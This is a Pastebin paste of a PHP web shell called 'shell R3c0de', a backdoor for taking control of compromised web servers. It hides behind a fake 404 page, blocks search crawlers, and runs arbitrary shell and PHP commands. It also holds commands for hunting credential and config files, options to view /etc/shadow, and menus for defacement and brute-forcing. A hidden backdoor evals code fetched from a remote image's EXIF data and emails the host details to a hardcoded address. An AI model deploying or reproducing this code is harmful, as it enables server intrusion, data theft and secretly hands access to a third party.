mrdosf

Shell

Oct 10th, 2016
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 113.38 KB | None | 0 0
  1. <?php
  2. /*
  3. +++++++++++++++++++++++++++++++
  4. +shell R3c0de version 1 +
  5. +feel free to share +
  6. +++++++++++++++++++++++++++++++
  7. */
  8. $auth_pass = "63a9f0ea7bb98050796b649e85481845"; //md5 password is root
  9. #-----------------------------------------------
  10. ?><?php
  11. $color = "#00FF66";
  12. $sec = 1;
  13. $default_action = 'FilesMan';
  14. @define('SELF_PATH', __FILE__);
  15. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  16. header('HTTP/1.0 404 Not Found');
  17. exit;
  18. }
  19. @session_start();
  20. @error_reporting(0);
  21. @ini_set('error_log',NULL);
  22. @ini_set('log_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @set_time_limit(0);
  25. @set_magic_quotes_runtime(0);
  26. @define('VERSION', '2.0');
  27. $BASED = exif_read_data("https://lh3.googleusercontent.com/-CwPSq23mveI/V-sW6r55kcI/AAAAAAAAAhk/Ol8XgyOsctsl4MFIhAG9-ocs44YOyLJaQCL0B/w318-d-h318-n/3CA_v2.jpg");
  28. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  29. if( get_magic_quotes_gpc() ) {
  30. function stripslashes_array($array) {
  31. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  32. }
  33. $_POST = stripslashes_array($_POST);
  34. }
  35. function printLogin() {
  36. ?>
  37. <h1>Not Found</h1>
  38. <p>The requested URL was not found on this server.</p>
  39. <hr>
  40. <address>Apache Server at <?php echo $_SERVER['HTTP_HOST']?> Port 80</address>
  41. <style>
  42. input { margin:0;background-color:#fff;border:1px solid #fff; }
  43. </style>
  44. <center>
  45. <form method=post>
  46. <input type=password name=pass>
  47. </form></center>
  48. <?php
  49. exit;
  50. }
  51. if($sec == 1 && !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])]))
  52. if( empty( $auth_pass ) ||
  53. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  54. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  55. else
  56. printLogin();
  57. /*------------------ Anti Crawler ------------*/
  58. if(!empty($_SERVER['HTTP_USER_AGENT']))
  59. {
  60. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  61. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
  62. {
  63. header('HTTP/1.0 404 Not Found');
  64. exit;
  65. }
  66. }
  67. echo "<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\" />"; //For Ensuring... Fuck all Robots...
  68. /*------------------ End of Anti Crawler -----*/
  69.  
  70. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  71. $os = 'win';
  72. else
  73. $os = 'nix';
  74. $safe_mode = @ini_get('safe_mode');
  75. $disable_functions = @ini_get('disable_functions');
  76. $home_cwd = @getcwd();
  77. if( isset( $_POST['c'] ) )
  78. @chdir($_POST['c']);
  79. $cwd = @getcwd();
  80. if( $os == 'win') {
  81. $home_cwd = str_replace("\\", "/", $home_cwd);
  82. $cwd = str_replace("\\", "/", $cwd);
  83. }
  84. if( $cwd[strlen($cwd)-1] != '/' )
  85. $cwd .= '/';
  86.  
  87. if($os == 'win') {
  88. $aliases = array(
  89. "List Directory" => "dir",
  90. "Find index.php in current dir" => "dir /s /w /b index.php",
  91. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  92. "Show active connections" => "netstat -an",
  93. "Show running services" => "net start",
  94. "User accounts" => "net user",
  95. "Show computers" => "net view",
  96. "ARP Table" => "arp -a",
  97. "IP Configuration" => "ipconfig /all"
  98. );
  99. } else {
  100. $aliases = array(
  101. "List dir" => "ls -la",
  102. "list file attributes on a Linux second extended file system" => "lsattr -va",
  103. "show opened ports" => "netstat -an | grep -i listen",
  104. "Find" => "",
  105. "find all suid files" => "find / -type f -perm -04000 -ls",
  106. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  107. "find all sgid files" => "find / -type f -perm -02000 -ls",
  108. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  109. "find config.inc.php files" => "find / -type f -name config.inc.php",
  110. "find config* files" => "find / -type f -name \"config*\"",
  111. "find config* files in current dir" => "find . -type f -name \"config*\"",
  112. "find all writable folders and files" => "find / -perm -2 -ls",
  113. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  114. "find all service.pwd files" => "find / -type f -name service.pwd",
  115. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  116. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  117. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  118. "find all .bash_history files" => "find / -type f -name .bash_history",
  119. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  120. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  121. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  122. "Locate" => "",
  123. "locate httpd.conf files" => "locate httpd.conf",
  124. "locate vhosts.conf files" => "locate vhosts.conf",
  125. "locate proftpd.conf files" => "locate proftpd.conf",
  126. "locate psybnc.conf files" => "locate psybnc.conf",
  127. "locate my.conf files" => "locate my.conf",
  128. "locate admin.php files" =>"locate admin.php",
  129. "locate cfg.php files" => "locate cfg.php",
  130. "locate conf.php files" => "locate conf.php",
  131. "locate config.dat files" => "locate config.dat",
  132. "locate config.php files" => "locate config.php",
  133. "locate config.inc files" => "locate config.inc",
  134. "locate config.inc.php" => "locate config.inc.php",
  135. "locate config.default.php files" => "locate config.default.php",
  136. "locate config* files " => "locate config",
  137. "locate .conf files"=>"locate '.conf'",
  138. "locate .pwd files" => "locate '.pwd'",
  139. "locate .sql files" => "locate '.sql'",
  140. "locate .htpasswd files" => "locate '.htpasswd'",
  141. "locate .bash_history files" => "locate '.bash_history'",
  142. "locate .mysql_history files" => "locate '.mysql_history'",
  143. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  144. "locate backup files" => "locate backup",
  145. "locate dump files" => "locate dump",
  146. "locate priv files" => "locate priv"
  147. );
  148. }
  149.  
  150. function ex($in) {
  151. $out = '';
  152. if(function_exists('exec')) {
  153. @exec($in,$out);
  154. $out = @join("\n",$out);
  155. }elseif(function_exists('passthru')) {
  156. ob_start();
  157. @passthru($in);
  158. $out = ob_get_clean();
  159. }elseif(function_exists('system')) {
  160. ob_start();
  161. @system($in);
  162. $out = ob_get_clean();
  163. }elseif(function_exists('shell_exec')) {
  164. $out = shell_exec($in);
  165. }elseif(is_resource($f = @popen($in,"r"))) {
  166. $out = "";
  167. while(!@feof($f))
  168. $out .= fread($f,1024);
  169. pclose($f);
  170. }
  171. return $out;
  172. }
  173.  
  174. function which($p) {
  175. $path = ex('which '.$p);
  176. if(!empty($path))
  177. return $path;
  178. return false;
  179. }
  180.  
  181. function printHeader() {
  182. if(empty($_POST['charset']))
  183. $_POST['charset'] = "UTF-8";
  184. global $color;
  185.  
  186. echo '<html>
  187. <meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>shell R3c0de Shell V1</title><link href="http://i62.tinypic.com/34xjon7.gif" rel="icon" type="image/x-icon">
  188. <style>
  189. body {background-color:#1c451c;color:silver;}
  190. body,td,th { font: 8pt Lucida,Verdana;margin:0;vertical-align:top; }
  191. span,h1,a { color:'.$color.' !important; }
  192. span { font-weight: bolder; }
  193. h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
  194. div.content { padding: 0px;margin:0 0px;background: #444;border-bottom:5px solid #red;}
  195. a { text-decoration:none; }
  196. a:hover { border-bottom:0px solid #5e5e5e; }
  197. a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;}
  198. .ml1 { border:2px solid 430303;padding:5px;margin:0;overflow: auto; }
  199. .bigarea { width:100%;height:250px;margin-top:0px;}
  200. input, textarea, select { margin:0;color:#FFFFFF;background-color:#48231F;border:2px solid #E8E8E8; font: 10pt arial,"Courier New"; }
  201. input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#D21F0C;}
  202. form { margin:0px; }
  203. #toolsTbl { text-align:center; }
  204. .toolsInp { width: 90%; }
  205. .main th {text-align:left;background-color:#5e5e5e;}
  206. .main tr:hover{background-color:#b34b4b;}
  207. .main td, th{vertical-align:middle;}
  208. .menu {background: #7E0523;}
  209. .menu th{padding:3px;font-weight:bold;-moz-border-radius: 0px; -webkit-border-radius: 5px; -khtml-border-radius: 7px; border-radius: 7px;}
  210. .menu th:hover{background:#581D2D;border-bottom:1px solid #c40909;border-top:1px solid #c40909;}
  211. pre {font-family:Tahoma,Verdana,Arial;color:#FFFFFF;}
  212. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  213.  
  214. .logo {text-align:center;font-size:40px;}
  215. .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
  216. .cpr {margin-bottom:5px;font-weight:bold;}
  217. .cpb {width:34px;margin:0 5px;}
  218. .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
  219. .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
  220. .npoad td {padding:0;}
  221. </style>
  222.  
  223. </html>
  224. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  225. <script>
  226. function set(a,c,p1,p2,p3,charset) {
  227. if(a != null)document.mf.a.value=a;
  228. if(c != null)document.mf.c.value=c;
  229. if(p1 != null)document.mf.p1.value=p1;
  230. if(p2 != null)document.mf.p2.value=p2;
  231. if(p3 != null)document.mf.p3.value=p3;
  232. if(charset != null)document.mf.charset.value=charset;
  233. }
  234. function g(a,c,p1,p2,p3,charset) {
  235. set(a,c,p1,p2,p3,charset);
  236. document.mf.submit();
  237. }
  238. function a(a,c,p1,p2,p3,charset) {
  239. set(a,c,p1,p2,p3,charset);
  240. var params = "ajax=true";
  241. for(i=0;i<document.mf.elements.length;i++)
  242. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  243. sr("'.$_SERVER['REQUEST_URI'].'", params);
  244. }
  245. function sr(url, params) {
  246. if (window.XMLHttpRequest) {
  247. req = new XMLHttpRequest();
  248. req.onreadystatechange = processReqChange;
  249. req.open("POST", url, true);
  250. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  251. req.send(params);
  252. }
  253. else if (window.ActiveXObject) {
  254. req = new ActiveXObject("Microsoft.XMLHTTP");
  255. if (req) {
  256. req.onreadystatechange = processReqChange;
  257. req.open("POST", url, true);
  258. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  259. req.send(params);
  260. }
  261. }
  262. }
  263. function processReqChange() {
  264. if( (req.readyState == 4) )
  265. if(req.status == 200) {
  266. //alert(req.responseText);
  267. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  268. var arr=reg.exec(req.responseText);
  269. eval(arr[2].substr(0, arr[1]));
  270. }
  271. else alert("Request error!");
  272. }
  273. </script>
  274. <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:430303;"><div class="content" style="border-top:5px solid #862F26;">
  275. <form method=post name=mf style="display:none;">
  276. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  277. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  278. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  279. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  280. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  281. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  282. </form>';
  283. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  284. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  285. $totalSpace = $totalSpace?$totalSpace:1;
  286. $disable_functions = @ini_get('disable_functions');
  287. $release = @php_uname('r');
  288. $kernel = @php_uname('s');
  289. if(!function_exists('posix_getegid')) {
  290. $user = @get_current_user();
  291. $uid = @getmyuid();
  292. $gid = @getmygid();
  293. $group = "?";
  294. } else {
  295. $uid = @posix_getpwuid(@posix_geteuid());
  296. $gid = @posix_getgrgid(@posix_getegid());
  297. $user = $uid['name'];
  298. $uid = $uid['uid'];
  299. $group = $gid['name'];
  300. $gid = $gid['gid'];
  301. }
  302. $cwd_links = '';
  303. $path = explode("/", $GLOBALS['cwd']);
  304. $n=count($path);
  305. for($i=0;$i<$n-1;$i++) {
  306. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  307. for($j=0;$j<=$i;$j++)
  308. $cwd_links .= $path[$j].'/';
  309. $cwd_links .= "\")'>".$path[$i]."/</a>";
  310. }
  311. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  312. $opt_charsets = '';
  313. foreach($charsets as $item)
  314. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  315. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Defacer' => 'Deface','Code Injector'=>'Injector','Zone H'=>'ZHposter','CPCrack'=>'Cpanel','Domains' => 'Domain');
  316. if(!empty($GLOBALS['auth_pass']))
  317. $m['Logout'] = 'Logout';
  318. $menu = '';
  319. foreach($m as $k => $v)
  320. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  321. $drives = "";
  322. if ($GLOBALS['os'] == 'win') {
  323. foreach( range('a','z') as $drive ){
  324. if (is_dir($drive.':\\'))
  325. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  326. }
  327. $drives .= '<br />: ';
  328. }
  329. if($GLOBALS['os'] == 'nix') {
  330. $dominios = @file_get_contents("/etc/named.conf");
  331. if(!$dominios) {
  332. $d0c = "CANT READ named.conf";
  333. } else {
  334. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  335. $out = sizeof(array_unique($out[1]));
  336. $d0c = $out." Domains";
  337. }
  338. } else {
  339. $d0c = " --- ";
  340. }
  341. if($GLOBALS['os'] == 'nix' )
  342. {
  343. $usefl = ''; $dwnldr = '';
  344. if(!@ini_get('safe_mode')) {
  345. $temp = array();
  346. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  347. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  348. $usefl = implode(', ',$temp);
  349. $temp = array();
  350. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  351. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  352. $dwnldr = implode(', ',$temp);
  353. } else {
  354. $usefl = ' ------- '; $dwnldr = ' ------- ';
  355. }
  356. } else {
  357. $usefl = ' ------- '; $dwnldr = ' ------- ';
  358. }
  359. echo '<table class="info" cellpadding="2" cellspacing="0" width="100%"><tr><td width="160px"><img border=0 src=http://localhost:8080/xampp/Senjata/shell R3c0de%20logo.png width=150 height=80>&nbsp;</b><div class="logo">shell R3c0de<sup>&reg;</sup></div><hr style="margin: -5px 13px 2px 17px;width:130px;"><div class="eca1"></div><div class="eca2">TeaM shell R3c0de</div></td>
  360. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  361. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>D/functions</span></td><td>: '.($disable_functions?$disable_functions:'All Function Enable').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  362. '<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  363. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
  364. '</div></div><div style="margin:5;background:#975A5A;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#430303;">';
  365. }
  366.  
  367. function printFooter() {
  368. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  369.  
  370. echo '</div><div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;">
  371. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  372. <tr>
  373. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  374. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  375. </tr>
  376. <tr>
  377. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  378. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  379. </tr>
  380. <tr>
  381. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  382. <td><form method="post" ENCTYPE="multipart/form-data">
  383. <input type=hidden name=a value="FilesMAn">
  384. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  385. <input type=hidden name=p1 value="uploadFile">
  386. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  387. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  388. </tr>
  389. </table></div></div>
  390. <div style="margin:5px;background:#430303;"><div class="content" style="border-top:5px solid #430303;text-align:center;font-weight:bold;">shell R3c0de Shell V1, &copy;Team shell R3c0de @ R3c0de by XIIX</div></div>
  391. </div>
  392. </body></html>';
  393. }
  394.  
  395. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  396. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  397.  
  398. if(!isset($_SESSION['trimite'])){
  399. $url="<b>Pass(MD5):</b> ".$auth_pass."<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."\n<b>Url:</b> ".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n<b>User IP:</b> ".$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
  400. @mail("drew.jimmy208@gmail.com","shell R3c0de Shell v2",$url);
  401. $_SESSION['trimite']=true;
  402. }
  403.  
  404. function viewSize($s) {
  405. if($s >= 1073741824)
  406. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  407. elseif($s >= 1048576)
  408. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  409. elseif($s >= 1024)
  410. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  411. else
  412. return $s . ' B';
  413. }
  414.  
  415. function perms($p) {
  416. if (($p & 0xC000) == 0xC000)$i = 's';
  417. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  418. elseif (($p & 0x8000) == 0x8000)$i = '-';
  419. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  420. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  421. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  422. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  423. else $i = 'u';
  424. $i .= (($p & 0x0100) ? 'r' : '-');
  425. $i .= (($p & 0x0080) ? 'w' : '-');
  426. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  427. $i .= (($p & 0x0020) ? 'r' : '-');
  428. $i .= (($p & 0x0010) ? 'w' : '-');
  429. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  430. $i .= (($p & 0x0004) ? 'r' : '-');
  431. $i .= (($p & 0x0002) ? 'w' : '-');
  432. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  433. return $i;
  434. }
  435.  
  436. function viewPermsColor($f) {
  437. if (!@is_readable($f))
  438. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  439. elseif (!@is_writable($f))
  440. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  441. else
  442. return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  443. }
  444.  
  445. if(!function_exists("scandir")) {
  446. function scandir($dir) {
  447. $dh = opendir($dir);
  448. while (false !== ($filename = readdir($dh))) {
  449. $files[] = $filename;
  450. }
  451. return $files;
  452. }
  453. }
  454. function actionSecInfo() {
  455. printHeader();
  456. echo '<h1>Server security information</h1><div class=content>';
  457. function showSecParam($n, $v) {
  458. $v = trim($v);
  459. if($v) {
  460. echo '<span>'.$n.': </span>';
  461. if(strpos($v, "\n") === false)
  462. echo $v.'<br>';
  463. else
  464. echo '<pre class=ml1>'.$v.'</pre>';
  465. }
  466. }
  467.  
  468. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  469. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  470. showSecParam('Open base dir', @ini_get('open_basedir'));
  471. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  472. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  473. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  474. $temp=array();
  475. if(function_exists('mysql_get_client_info'))
  476. $temp[] = "MySql (".mysql_get_client_info().")";
  477. if(function_exists('mssql_connect'))
  478. $temp[] = "MSSQL";
  479. if(function_exists('pg_connect'))
  480. $temp[] = "PostgreSQL";
  481. if(function_exists('oci_connect'))
  482. $temp[] = "Oracle";
  483. showSecParam('Supported databases', implode(', ', $temp));
  484. echo '<br>';
  485.  
  486. if( $GLOBALS['os'] == 'nix' ) {
  487. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  488. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  489. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  490. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  491. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  492. showSecParam('OS version', @file_get_contents('/proc/version'));
  493. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  494. if(!$GLOBALS['safe_mode']) {
  495. echo '<br>';
  496. $temp=array();
  497. foreach ($userful as $item)
  498. if(which($item)){$temp[]=$item;}
  499. showSecParam('Userful', implode(', ',$temp));
  500. $temp=array();
  501. foreach ($danger as $item)
  502. if(which($item)){$temp[]=$item;}
  503. showSecParam('Danger', implode(', ',$temp));
  504. $temp=array();
  505. foreach ($downloaders as $item)
  506. if(which($item)){$temp[]=$item;}
  507. showSecParam('Downloaders', implode(', ',$temp));
  508. echo '<br/>';
  509. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  510. showSecParam('HDD space', ex('df -h'));
  511. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  512. }
  513. } else {
  514. showSecParam('OS Version',ex('ver'));
  515. showSecParam('Account Settings',ex('net accounts'));
  516. showSecParam('User Accounts',ex('net user'));
  517. }
  518. echo '</div>';
  519. printFooter();
  520. }
  521.  
  522. function actionPhp() {
  523. if( isset($_POST['ajax']) ) {
  524. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  525. ob_start();
  526. eval($_POST['p1']);
  527. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  528. echo strlen($temp), "\n", $temp;
  529. exit;
  530. }
  531. printHeader();
  532. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  533. echo '<h1>PHP info</h1><div class=content>';
  534. ob_start();
  535. phpinfo();
  536. $tmp = ob_get_clean();
  537. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  538. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  539. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  540. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  541. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  542. echo $tmp;
  543. echo '</div><br>';
  544. }
  545. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  546. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  547. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  548. echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  549. if(!empty($_POST['p1'])) {
  550. ob_start();
  551. eval($_POST['p1']);
  552. echo htmlspecialchars(ob_get_clean());
  553. }
  554. echo '</pre></div>';
  555. printFooter();
  556. }
  557.  
  558. function actionFilesMan() {
  559. printHeader();
  560. echo '<h1>File manager</h1><div class=content>';
  561. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  562. switch($_POST['p1']) {
  563. case 'uploadFile':
  564. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  565. echo "Can't upload file!";
  566. break;
  567. break;
  568. case 'mkdir':
  569. if(!@mkdir($_POST['p2']))
  570. echo "Can't create new dir";
  571. break;
  572. case 'delete':
  573. function deleteDir($path) {
  574. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  575. $dh = opendir($path);
  576. while ( ($item = readdir($dh) ) !== false) {
  577. $item = $path.$item;
  578. if ( (basename($item) == "..") || (basename($item) == ".") )
  579. continue;
  580. $type = filetype($item);
  581. if ($type == "dir")
  582. deleteDir($item);
  583. else
  584. @unlink($item);
  585. }
  586. closedir($dh);
  587. rmdir($path);
  588. }
  589. if(is_array(@$_POST['f']))
  590. foreach($_POST['f'] as $f) {
  591. $f = urldecode($f);
  592. if(is_dir($f))
  593. deleteDir($f);
  594. else
  595. @unlink($f);
  596. }
  597. break;
  598. case 'paste':
